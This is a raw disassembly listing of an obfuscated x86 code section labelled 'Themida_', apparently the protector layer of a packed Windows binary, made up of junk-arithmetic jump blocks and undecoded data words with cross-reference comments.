		dd 592434FFh, 4C481h, 0D8010000h, 8E058B2Dh, 9DD5E94Ah
		dd 0FF500000h, 58042474h, 8B24048Fh, 8B662424h,	49682404h
		dd 89000018h, 0EC812434h, 4, 24048F54h,	2D7E957h, 4890000h
		dd 52BBE924h, 0EAC00000h, 0D006E903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E192:				; CODE XREF: Themida_:0056B9D6j
		xchg	edi, [esp]
		pop	esp
		sub	ebx, 700D6661h
		jmp	loc_56CD1D
; ---------------------------------------------------------------------------


loc_55E1A1:				; CODE XREF: Themida_:0056B00Bj
		push	0C724C31h
		pop	ebx
		and	ebx, 29BF7B7Fh
		jmp	loc_55F60D
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 0E28E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E1B9:				; CODE XREF: Themida_:0056A87Fj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp


loc_55E1C3:				; CODE XREF: Themida_:00564405j
		push	726Fh
		jmp	loc_5727CC
; ---------------------------------------------------------------------------
		db 59h,	1, 0D7h
		dd 5FF8015Ah, 2BF57h, 0F8010000h, 2404875Fh, 0F9F7665Ch
		dd 8904EC83h, 5A542414h, 5607BB53h, 0EBC168ACh,	43D3F706h
		dd 71D5E9h, 5BF5700h, 0E900C73Ch, 0C81Dh, 638F68h, 2219E900h
		dd 0E95B0001h, 0EA6Fh, 31241433h, 14332414h, 3C895C24h
		dd 2446BF24h, 0BD555E74h, 0
		dd 1CA8ED81h, 0FD295C29h, 1CA8C581h, 0EF875C29h, 0A9C7815Dh
		dd 0C12F3230h, 0EFC106E7h, 44B85005h, 819D3C9Fh, 591528EFh
		dd 3827E942h, 0CA880000h, 66D02859h, 0E924148Bh, 2EE4h
; ---------------------------------------------------------------------------


loc_55E26C:				; CODE XREF: Themida_:00564977j
		mov	[esp], esi
		mov	esi, 532402E3h
		push	eax
		mov	eax, 73DA6BEFh
		jmp	loc_56AEC5
; ---------------------------------------------------------------------------


loc_55E27F:				; CODE XREF: Themida_:00571A02j
		mov	[esp], eax
		mov	eax, 5B6A3D8Ah
		sub	eax, 337AFD6Eh
		sub	edx, 6D9839B7h
		add	edx, eax
		jmp	loc_572B37
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 4C38300h, 5C241C87h, 0FDF1E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E2AE:				; CODE XREF: Themida_:0056A303j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_570963
; ---------------------------------------------------------------------------


loc_55E2C7:				; CODE XREF: Themida_:0055E9ABj
		sub	ebp, 1D665808h
		jmp	loc_560C38
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 53240C8Bh,	0C466E9h, 24248B00h, 8B24048Fh
		dd 4282424h, 0ACE99C24h, 8BFFFFFDh, 0C481242Ch,	4, 8B24048Fh
		dd 8B662424h, 0EC81240Ch, 4, 89242C89h,	33B6E9E5h, 815C0001h
		dd 4C6h, 2BF5700h, 0E9000000h, 2950h
; ---------------------------------------------------------------------------


loc_55E328:				; CODE XREF: Themida_:0055F2F2j
		mov	ecx, 680A06FEh
		sub	ebp, ecx
		pop	ecx
		jmp	loc_56063D
; ---------------------------------------------------------------------------
		db 81h,	42h, 30h
		dd 576C5C41h, 592434FFh, 0B635E9h, 0FFB95100h, 0E92EA633h
		dd 7876h, 3865EF35h, 5DE83167h,	2D7EBF57h, 0FB292452h
		dd 81C3015Fh, 522D7EC3h, 52555824h, 4BAh, 5AD58900h, 46E2EB81h
		dd 0EB012068h, 46E2C381h, 875D2068h, 515C241Ch,	0C181E189h
		dd 4, 0E63EE9h,	0E9516600h, 0F98Ah, 0F3E95157h,	810000E3h
		dd 8B06B4F6h, 96E9462Bh, 59000102h, 34FFF001h, 24348B24h
		dd 8104C483h, 4C4h, 40120500h, 0D00179E3h, 4A3CBB53h, 70E94E37h
		dd 81000011h, 528EDDC3h, 0E9D8291Ch, 0B4D5h, 4244C01h
		dd 4246C81h, 7A174273h,	0A685A59h, 8900000Dh, 0B9512404h
		dd 3E892F68h, 7DF256B8h, 1F69E9D6h, 4F680000h, 89000071h
		dd 2C81241Ch, 0FFFFFF24h, 0EB815BFFh, 6B3516A8h, 263FEB81h
		dd 77E9B6E0h, 5C00011Eh, 52240C89h, 5D60B0BAh, 96BA5274h
		dd 0B970C865h, 994C97EDh, 17E9D129h, 66000074h,	0E9240489h
		dd 0F46h
; ---------------------------------------------------------------------------


loc_55E44C:				; CODE XREF: Themida_:0056F576j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_56312C
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 7C010000h, 8B5F0424h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 54AB70CEh
		or	esi, 6436378h
		not	esi
		jmp	loc_55F692
; ---------------------------------------------------------------------------


loc_55E482:				; CODE XREF: Themida_:0056F00Fj
		not	ecx
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		push	2223h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_56BA0F
; ---------------------------------------------------------------------------


loc_55E4B6:				; CODE XREF: Themida_:0056289Ej
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_560A01
; ---------------------------------------------------------------------------


loc_55E4C3:				; CODE XREF: Themida_:00570BCAj
		add	[esp+4], edi
		sub	dword ptr [esp+4], 61842231h
		jmp	loc_55E941
; ---------------------------------------------------------------------------
		dd 58DEBD55h, 0EDC130A1h, 3C28E904h
		db 2 dup(0)
word_55E4E2	dw 8B66h		; DATA XREF: Themida_:0055DE0Co
		dd 5452240Ch, 0E924148Bh, 0CB2Fh, 8104C483h, 4C4h, 24048700h
		dd 1901E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E502:				; CODE XREF: Themida_:00566663j
		push	ebx
		mov	ebx, 4A420A84h
		jmp	loc_55E9CE
; ---------------------------------------------------------------------------
aSs5c		db 'Sé5–',0
		db 0
; ---------------------------------------------------------------------------


loc_55E513:				; CODE XREF: Themida_:00567CE7j
		add	ebx, edi
		push	ecx
		mov	ecx, 0
		add	ecx, ebx
		mov	[ecx], dh
		jmp	loc_564F7C
; ---------------------------------------------------------------------------


loc_55E524:				; CODE XREF: Themida_:005675F7j
		push	7A0Bh
		mov	[esp], ecx
		jmp	loc_56BFF1
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 81000000h, 4ECh, 243C8900h, 0F37C13BFh, 7C91684Fh, 0C890000h
		dd 0DD685624h, 8B6B1D70h, 0FFE92434h
		db 0A6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E55B:				; CODE XREF: Themida_:00566C16j
		push	ecx
		mov	ecx, 283E4E72h
		push	ebp
		jmp	loc_564557
; ---------------------------------------------------------------------------


loc_55E567:				; CODE XREF: Themida_:00561D69j
					; Themida_:0056DEFBj
		push	74B7h
		mov	[esp], ebx
		mov	eax, [esp]
		push	edi
		jmp	loc_567C60
; ---------------------------------------------------------------------------
		dd 0EE81C601h, 2B1B094Ah, 8124048Bh, 4C4h, 24348700h, 0E9EBE9h
		dd 24348700h, 0D62CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E599:				; CODE XREF: Themida_:00562AFBj
		pop	esp
		jmp	loc_562755
; ---------------------------------------------------------------------------
byte_55E59F	db 66h			; DATA XREF: Themida_:0055DE9Co
		dd 68240C8Bh, 3FE2h, 56243C89h,	5D8B68h, 24248900h, 4240481h
		dd 5E000000h, 0D47EE953h, 0E1050000h, 53073D19h, 13E468h
		dd 24348900h, 521C99BEh, 0EE814E32h, 0D7C4C38Fh, 0B3E9F389h
		dd 0FF000056h, 1C8B2434h, 0E6895624h, 4C681h, 0BE90000h
		dd 29000087h, 0D3015EF2h, 5B54535Ah, 4C381h, 0EB830000h
		dd 241C8704h, 242C895Ch, 4BDh, 580AE900h, 89560000h, 4C681E6h
		dd 83000000h, 348704C6h, 92CAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E62E:				; CODE XREF: Themida_:0056962Bj
		mov	eax, 3BA5592Bh
		jmp	loc_572529
; ---------------------------------------------------------------------------


loc_55E638:				; CODE XREF: Themida_:0056B8F0j
		add	eax, 4
		jmp	loc_56BB54
; ---------------------------------------------------------------------------


loc_55E642:				; CODE XREF: Themida_:0055E685j
		pop	eax
		add	edx, 53354D56h
		jmp	loc_564D3F
; ---------------------------------------------------------------------------
		dw 0E281h
		dd 2525438h, 0DFF7FA87h, 2100E9h, 1235BB00h, 0B2E92C35h
		dd 61000142h
		db 0C3h
aPhFXqsf	db 'Ph+F(%XQéF½',0      ; DATA XREF: Themida_:0055DDBCo
		align 2


loc_55E676:				; CODE XREF: Themida_:00567087j
		xor	ebp, edi
		pop	edi
		jmp	loc_56F232
; ---------------------------------------------------------------------------


loc_55E67E:				; CODE XREF: Themida_:00563121j
		mov	eax, 34925880h
		xor	edx, eax
		jmp	loc_55E642
; ---------------------------------------------------------------------------


loc_55E68A:				; CODE XREF: Themida_:00572839j
		pop	esi
		add	esp, 4
		sub	esi, 43934574h
		jmp	loc_5685BD
; ---------------------------------------------------------------------------


loc_55E699:				; CODE XREF: Themida_:0056AA78j
		sub	ecx, 7E120F24h
		jmp	loc_56A8D7
; ---------------------------------------------------------------------------
		dd 0E902C183h, 4D3Ch, 7E56C181h, 36E964F5h, 10000BDh, 565558C3h
		dd 0DF20E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E6C2:				; CODE XREF: Themida_:005666AFj
		mov	[esp], ecx
		mov	ecx, 46DE596Ch
		sub	ecx, 46DE5968h
		sub	ebx, 3F790B41h
		sub	ebx, 19B62AC7h
		add	ebx, ecx
		jmp	loc_567224
; ---------------------------------------------------------------------------


loc_55E6E3:				; CODE XREF: Themida_:005709A1j
		sub	ebp, eax
		jmp	loc_560982
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0E9E08950h, 431Bh
; ---------------------------------------------------------------------------


loc_55E6F8:				; CODE XREF: Themida_:00571022j
		add	dword ptr [esp], 4
		jmp	loc_56FB67
; ---------------------------------------------------------------------------
		dd 4C481h, 0D8010000h, 2404875Bh, 48B665Ch, 5B685124h
		dd 8900007Eh, 4812424h,	424h, 240C8B00h, 7AA4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E72D:				; CODE XREF: Themida_:00570791j
		push	ebp
		mov	ebp, 3CE74F04h
		push	eax
		mov	eax, ebp
		mov	esi, eax
		jmp	loc_563CC1
; ---------------------------------------------------------------------------
		db 50h,	0F7h, 14h
aSyg		db '$éYG',0
		align 2


loc_55E746:				; CODE XREF: Themida_:00560D78j
		add	dword ptr [esp], 4
		jmp	loc_568229
; ---------------------------------------------------------------------------
		db 2Dh
		dd 0DCCD48EBh, 0ADF5E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E759:				; CODE XREF: Themida_:00572209j
		add	ecx, 4
		push	ebx
		mov	ebx, 39661CC5h
		push	ebp
		push	ebx
		mov	ebx, 70EF433Dh
		inc	ebx
		add	ebx, 361A2F3Dh
		neg	ebx
		add	ebx, 45CC44E9h
		xor	ebx, 0BF7CB1B8h
		push	416h
		mov	[esp], ebx
		add	dword ptr [esp], 24E504CCh
		pop	ebp
		sub	ebp, 24E504CCh
		pop	ebx
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	7945h
		jmp	loc_567CEC
; ---------------------------------------------------------------------------
aWOrvjgsI	db 'W¿ŽrVJGéÀ©',0
		db 0
; ---------------------------------------------------------------------------


loc_55E7B9:				; CODE XREF: Themida_:0056DACDj
		mov	[esp], esi
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		jmp	loc_571266
; ---------------------------------------------------------------------------
		db 1
aYstg		db 'ÏYétg',0
		dw 8100h
		dd 76D2A3C6h, 0E9F701E0h, 0BBF5h
; ---------------------------------------------------------------------------


loc_55E7E4:				; CODE XREF: Themida_:00560FF9j
		pop	esi
		pop	edi
		shr	esi, 5
		sub	esi, 1
		push	ebp
		jmp	loc_567B21
; ---------------------------------------------------------------------------


loc_55E7F5:				; CODE XREF: Themida_:00561EAEj
		add	[esp+4], esi
		pop	esi
		pop	esi
		add	esi, 4
		sub	esi, 4
		jmp	loc_56C55B
; ---------------------------------------------------------------------------


loc_55E809:				; CODE XREF: Themida_:00569987j
		mov	ebx, eax
		jmp	loc_5678E1
; ---------------------------------------------------------------------------


loc_55E810:				; CODE XREF: Themida_:00567B2Fj
		add	esi, ebp
		jmp	loc_56AE39
; ---------------------------------------------------------------------------
		db 51h
		dd 7B02B9h, 4A8E957h, 1580001h,	26E95DE8h, 31000128h, 0CA315EF1h
		dd 0B3E95659h, 5D000057h, 112F2E9h, 4C18100h, 56000000h
		dd 4BEh, 0C2E98100h, 13BF701h, 0C2C181F1h, 5E3BF701h, 12891E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E85D:				; CODE XREF: Themida_:005627D4j
		push	ebp
		mov	ebp, 777A13A8h
		sub	eax, ebp
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_56A40F
; ---------------------------------------------------------------------------


loc_55E87E:				; CODE XREF: Themida_:005640AAj
		push	ebp
		mov	ebp, 71A61C9Bh
		shr	ebp, 7
		inc	ebp
		xor	ebp, 299263B0h
		add	edx, ebp
		jmp	loc_5634D8
; ---------------------------------------------------------------------------
		db 21h,	0D8h, 5Bh
		dd 3A6A132Dh, 4E800D49h, 354072B4h, 0FC058552h,	0E958C789h
		dd 13D8Ch, 24048F58h, 6312E9h, 0F6CFFE00h, 0E86852D7h
		dd 8900003Ch, 9DB3241Ch, 0F7B55166h, 104B5E9h, 5BF82800h
		dd 470C68h, 0CFDBE900h,	0F7430000h, 0B1BE56DBh,	0E941D96Eh
		dd 3177h
; ---------------------------------------------------------------------------


loc_55E8EC:				; CODE XREF: Themida_:005660B4j
		neg	esi
		or	esi, 24AC15FAh
		and	esi, 5929196Ch
		jmp	loc_566AE4
; ---------------------------------------------------------------------------
		db 0F7h
		dd 31BE56DAh, 0F73F1852h, 81E6D1DEh, 0E2197FCEh, 0FEF68113h
		dd 193EF5Bh, 814A5EF2h,	8DC472F2h, 0EC8352A1h, 240C8904h
		dd 5A1BCCB9h, 244C310Fh, 815E5904h, 5A1BCCF6h, 52965A0Fh
		dd 0D1FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E941:				; CODE XREF: Themida_:0055E4CFj
		pop	edi
		pop	ebp
		jmp	loc_562E72
; ---------------------------------------------------------------------------
		dd 15DEA89h, 18A2E9D5h,	2C330001h, 24248B24h, 40E930FFh
		dd 56FFFFF7h, 39EFE9h, 814F4700h, 2DFC9C7h, 6A1EE9C3h
		dd 0EC810000h, 4, 0B9240C89h, 4, 8FE9CE01h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E987:				; CODE XREF: Themida_:0056424Dj
		push	3775h
		jmp	loc_562913
; ---------------------------------------------------------------------------
		db 59h,	8Fh, 4
		dd 81E95C24h
		db 0F0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E99B:				; CODE XREF: Themida_:0056C7E5j
		pop	eax
		push	ebp
		mov	ebp, 62FD0328h
		push	eax
		mov	eax, 2E5D59A9h
		sub	ebp, eax
		pop	eax
		jmp	loc_55E2C7
; ---------------------------------------------------------------------------


loc_55E9B0:				; CODE XREF: Themida_:0056057Fj
		pop	esp
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_56612A
; ---------------------------------------------------------------------------


loc_55E9BF:				; CODE XREF: Themida_:0056EBC2j
		not	ebx
		push	edi
		mov	edi, 3407B187h
		xor	ebx, edi
		jmp	loc_565CA5
; ---------------------------------------------------------------------------


loc_55E9CE:				; CODE XREF: Themida_:0055E508j
		shl	ebx, 3
		shr	ebx, 6
		add	ebx, 1
		jmp	loc_567B3D
; ---------------------------------------------------------------------------


loc_55E9DF:				; CODE XREF: Themida_:00569E73j
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_56EBC7
; ---------------------------------------------------------------------------


loc_55E9F5:				; CODE XREF: Themida_:00563368j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		mov	edx, 4
		sub	eax, edx
		pop	edx
		jmp	loc_56A34D
; ---------------------------------------------------------------------------
aISwt		db '‰,$éw’',0
		db 0
; ---------------------------------------------------------------------------


loc_55EA1B:				; CODE XREF: Themida_:0056F47Bj
		mov	esp, [esp]
		mov	[esp], ebx
		add	dword ptr [esp], 41F54151h
		pop	edx
		jmp	loc_5706E6
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 38F318A0h, 4EC81h, 2C890000h, 9B685224h, 0E916C241h
		dd 0FCCFh
; ---------------------------------------------------------------------------


loc_55EA48:				; CODE XREF: Themida_:0056747Cj
		xor	dword ptr [esp], 71F23037h
		pop	eax
		push	esi
		jmp	loc_563116
; ---------------------------------------------------------------------------


loc_55EA56:				; CODE XREF: Themida_:00571F5Dj
		mov	esp, [esp]
		jmp	loc_5679E8
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 34FF0424h, 13E3E924h, 34FF0001h
		db 87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_564249
; ---------------------------------------------------------------------------
		db 29h,	0FBh, 8Bh
		dd 0C481243Ch, 4, 0F88E381h, 0E3813C9Bh, 73413378h, 1979BD55h
		dd 0BA523868h, 0BFB04DFh, 424ADAF7h, 2844E281h,	0F2817560h
		dd 37516E41h, 95AD501h,	0C3835DEBh, 8135E9FFh, 0F3810000h
		dd 7FA22EF1h, 815BDD31h, 387EAAC5h, 4FC58103h, 13F6EF9h
		dd 3C335DEFh, 243C3124h, 5C243C33h, 242CD366h, 0F5B1E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EAEE:				; CODE XREF: Themida_:0056758Ej
		pop	ecx
		push	edx
		mov	edx, 65963958h
		push	esi
		push	eax
		push	0B4049BBh
		pop	eax
		or	eax, 56C307B7h
		jmp	loc_55F62A
; ---------------------------------------------------------------------------
		db 1
		dd 0B7EF81CFh, 8B6E9E55h, 0C483240Ch, 8B545704h, 0C483243Ch
		dd 4C78104h, 50000000h,	2B5C46B8h, 0E8C14833h, 0E20D05h
		dd 0E8D1676Ch, 0FEAD7535h, 8BC72933h, 0C4832404h, 243C8704h
		dd 8924248Bh, 0BFBD242Ch, 0E9286210h, 0FB0Ah
; ---------------------------------------------------------------------------


loc_55EB54:				; CODE XREF: Themida_:00569CFFj
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_567BE7
; ---------------------------------------------------------------------------
		db 0BBh, 2Ah, 32h
		dd 0B9516978h, 16D9502Ch, 159C829h, 4EC81D8h, 89000000h
		dd 51BD242Ch, 0E952C379h, 300h,	2043C381h, 0C3295E09h
		dd 4EC81h, 34890000h, 220FBE24h, 0E6C14E6Bh, 2FCE8105h
		dd 0E91D9D5Dh, 0FFFFF920h, 22ACEA81h, 0EA011ED8h, 22ACBD55h
		dd 0EA011ED8h, 0C10BE95Dh, 4810000h, 0D70B3824h, 0EF815F13h
		dd 13D70B38h, 0E92434FFh, 12B10h, 8B04C483h, 0C481241Ch
		dd 4, 0E95AD030h, 91Ch,	0C7E9D001h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EBFB:				; CODE XREF: Themida_:0055EDB0j
		not	edx
		push	1E76h
		mov	[esp], edx
		push	79D2h
		mov	[esp], esi
		mov	edx, [esp]
		jmp	loc_56DAB6
; ---------------------------------------------------------------------------
		db 40h,	0E9h, 1Ah
		dd 48000046h, 0CFBCE9h,	24248B00h, 52240489h, 41B072B6h
		dd 885AF030h, 0CF8858C1h, 83240C8Bh, 92E904C4h,	0BD0000CFh
		dd 57DC4532h, 0C5E9EE09h, 8100007Dh, 1964E7EFh,	5184E928h
		dd 0CD890000h, 0BF574559h, 8D92E622h, 4B75E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EC65:				; CODE XREF: Themida_:0056C0DFj
		xor	al, 0F7h
		mov	ch, al
		jmp	loc_570D74
; ---------------------------------------------------------------------------
		dw 0F130h
		dd 0A073E9h, 2BE5600h, 81000000h, 0B04D3CC7h, 81F70160h
		dd 0B04D3CEFh, 24348B60h, 34EBE9h
		db 0
; ---------------------------------------------------------------------------


loc_55EC91:				; CODE XREF: Themida_:00567401j
		push	ecx
		jmp	loc_563C1A
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4246C28h, 0B1515A59h, 59CA3029h, 305AD030h, 0C0B60FC3h
		dd 96C7E9h, 8FE95C00h, 89000052h, 0BE562424h, 0F3A58AFh
		dd 58ABEE81h, 74010F3Ah, 5B5E0424h, 0EF868h, 240C8900h
		dd 4B9h, 0E9CB0100h, 632h, 0E9243C8Bh, 0C41Ch
; ---------------------------------------------------------------------------


loc_55ECE8:				; CODE XREF: Themida_:005720E7j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5647F5
; ---------------------------------------------------------------------------


loc_55ED0C:				; CODE XREF: Themida_:0056F249j
		add	edi, 3E425A1Eh
		pop	ecx
		pop	ecx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_565A3F
; ---------------------------------------------------------------------------
		dw 3487h
		dd 89665C24h, 54682404h, 89000045h, 0DCE9240Ch,	0B400010Bh
		dd 24F480DCh, 0E480C4FEh, 2ECC0DCh, 2806C480h, 0D7F658E7h
		dd 0F780DFF6h, 1080E94Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55ED56:				; CODE XREF: Themida_:0056D530j
		add	edi, eax
		jmp	loc_56BFD1
; ---------------------------------------------------------------------------


loc_55ED5D:				; CODE XREF: Themida_:00570970j
		pop	ecx
		push	4E0Bh
		jmp	loc_55F375
; ---------------------------------------------------------------------------


loc_55ED68:				; CODE XREF: Themida_:0056FEA4j
		pop	ebx
		jmp	loc_562AF8
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 0E9241487h, 11733h, 0C781DFF7h, 5B772004h, 0AAE2C781h
		dd 0C581A422h, 46476241h, 5250FD01h, 476241BAh,	5AD08946h
		dd 708E9h, 0F2F9E900h, 0DDF7FFFFh, 0E7F5E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EDAD:				; CODE XREF: Themida_:005654A3j
		shl	edx, 4
		jmp	loc_55EBFB
; ---------------------------------------------------------------------------


loc_55EDB5:				; CODE XREF: Themida_:0056096Cj
		mov	esi, eax
		pop	eax
		add	eax, esi
		pop	esi
		add	edi, eax
		jmp	loc_55F325
; ---------------------------------------------------------------------------


loc_55EDC2:				; CODE XREF: Themida_:00570140j
		sub	esp, 4
		jmp	loc_56D3F4
; ---------------------------------------------------------------------------


loc_55EDCD:				; CODE XREF: Themida_:00568E9Ej
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 0D5B8DF0Fh
		push	edi
		mov	edi, 43986B19h
		sub	eax, edi
		pop	edi
		sub	eax, ebp
		push	edx
		jmp	loc_563FCB
; ---------------------------------------------------------------------------


loc_55EDEA:				; CODE XREF: Themida_:0056A93Aj
		add	edx, 661010F6h
		add	edx, 44FF2C06h
		add	edx, ebp
		sub	edx, 44FF2C06h
		sub	edx, 661010F6h
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	0D74h
		mov	[esp], edx
		push	5F5Eh
		mov	[esp], ecx
		push	3D5Fh
		mov	[esp], edx
		push	664Bh
		jmp	loc_56A684
; ---------------------------------------------------------------------------
aQsH		db ')ïéœh',0
		align 2


loc_55EE3A:				; CODE XREF: Themida_:00567B43j
		or	ecx, ebx
		pop	ebx
		add	ecx, 2080200Dh
		sub	edx, ecx
		jmp	loc_570DAF
; ---------------------------------------------------------------------------


loc_55EE4A:				; CODE XREF: Themida_:005663D6j
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	edi
		jmp	loc_561A99
; ---------------------------------------------------------------------------
		dw 4868h
		dd 8900006Eh, 0EC83242Ch, 0C1E95404h, 0BE000001h, 4, 1099FE9h
		dd 241C8900h, 5550E389h, 6216E9h, 0E9CA0900h, 97EDh, 0E95D5355h
		dd 11143h, 421868h, 34FAE900h, 295F0000h, 0F9E95EF0h, 31000113h
		dd 0EF895AD5h, 9DE9575Dh, 55000027h, 0E3243481h, 5863956Ah
		dd 0D908E9h, 242C8700h,	127CE9h, 0C0B70F00h, 0E95D5455h
		dd 108DCh, 815FFB01h, 6F2D16C3h, 285DE932h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55EEE6:				; CODE XREF: Themida_:00570114j
		xor	eax, 5E0F6F29h
		sub	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	edx
		push	22AD1031h
		pop	edx
		and	edx, 5A034E7h
		xchg	edi, edx
		not	edi
		jmp	loc_56EB01
; ---------------------------------------------------------------------------
byte_55EF09	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055DF44o
		dd 0E9240C8Bh, 13141h, 3C8BF989h, 4C48124h, 1000000h, 0A6E959CFh
		db 2Ah,	1, 0
; ---------------------------------------------------------------------------


loc_55EF27:				; CODE XREF: Themida_:00565E10j
		and	edi, 2A0C5509h
		inc	edi
		add	edi, 1E8F0B84h
		add	edi, 0B764F47Eh
		sub	ebp, 95C4A2Eh
		add	ebp, edi
		push	ecx
		mov	ecx, 1F623197h
		sub	ecx, 0BDE0FEEh
		sub	ecx, 22BB407Bh
		xor	ecx, 0F994AB00h
		jmp	loc_569E70
; ---------------------------------------------------------------------------
		db 0FFh
		dd 6FE92434h, 890000FDh, 0B9515DE8h, 0E310660h,	0C106E9C1h
		dd 0C18106E9h, 63E02A74h, 6859CA01h, 8BCh, 0E9240489h
		dd 4C2Eh, 81242489h, 42404h, 0E1E90000h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EF9B:				; CODE XREF: Themida_:0056A84Dj
		add	ecx, edi
		jmp	loc_5639FA
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 0B0B80748h, 15AD731h, 2185E9F8h, 4890001h, 2264B824h
		dd 6C810612h, 0DE20424h, 4429095Fh, 44810424h, 0DE20424h
		dd 5358095Fh, 8904EC83h, 0C8BE2434h, 520A4861h,	0DB9E9h
		dd 4C28100h, 51000000h,	4B9h, 0E9CA0100h, 0F9BEh
; ---------------------------------------------------------------------------


loc_55EFF4:				; CODE XREF: Themida_:0056B4C7j
		and	esi, 2A553B8h
		push	0
		sub	dword ptr [esp], 33BC4A75h
		sub	[esp], esi
		add	dword ptr [esp], 33BC4A75h
		pop	esi
		sub	esi, 11696A70h
		mov	eax, esi
		pop	esi
		mov	ebx, eax
		jmp	loc_56604D
; ---------------------------------------------------------------------------
		dd offset loc_416E68
		align 2
		dw 0BCE9h
		dd 870000F7h, 0E95C243Ch, 133F6h, 8324048Fh, 5D042404h
		dd 2191E950h, 3B2D0000h, 131F254h, 543B05C8h, 685931F2h
		dd 15FEh, 0A748E9h, 24548800h, 0F51AE905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F062:				; CODE XREF: Themida_:0056A970j
		push	ecx
		push	51297055h
		mov	ecx, [esp]
		add	esp, 4
		push	7C97h
		mov	[esp], edx
		mov	edx, 59173CA9h
		xor	ecx, edx
		mov	edx, [esp]
		jmp	loc_5723A9
; ---------------------------------------------------------------------------
dword_55F088	dd 240C8B66h, 0B43DE9h	; DATA XREF: Themida_:0055DFD8o
		db 0
; ---------------------------------------------------------------------------


loc_55F091:				; CODE XREF: Themida_:00566A3Dj
		sub	edx, edi
		pop	edi
		mov	ecx, [esp]
		jmp	loc_56107C
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 7555BF57h,	7C0123DAh
		dd 3C8B0424h, 95FEE924h
		db 2 dup(0)
word_55F0BE	dw 34FFh		; DATA XREF: Themida_:0055DF7Co
		dd 2434FF24h, 60CBE9h, 148B5C00h, 0E2895224h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 452DEB81h, 0A5E95F25h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F0EB:				; CODE XREF: Themida_:00566323j
		shr	ebx, 4
		jmp	loc_56E121
; ---------------------------------------------------------------------------
		db 0FEh
		dd 3CE950C7h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F0FB:				; CODE XREF: Themida_:005643C3j
		push	esi
		sub	esp, 4
		jmp	loc_56D7FA
; ---------------------------------------------------------------------------
		db 57h
		dd 4BFh, 5FF80100h, 1C93E9h, 0FAF58100h, 4513AC2Eh, 3B8FED81h
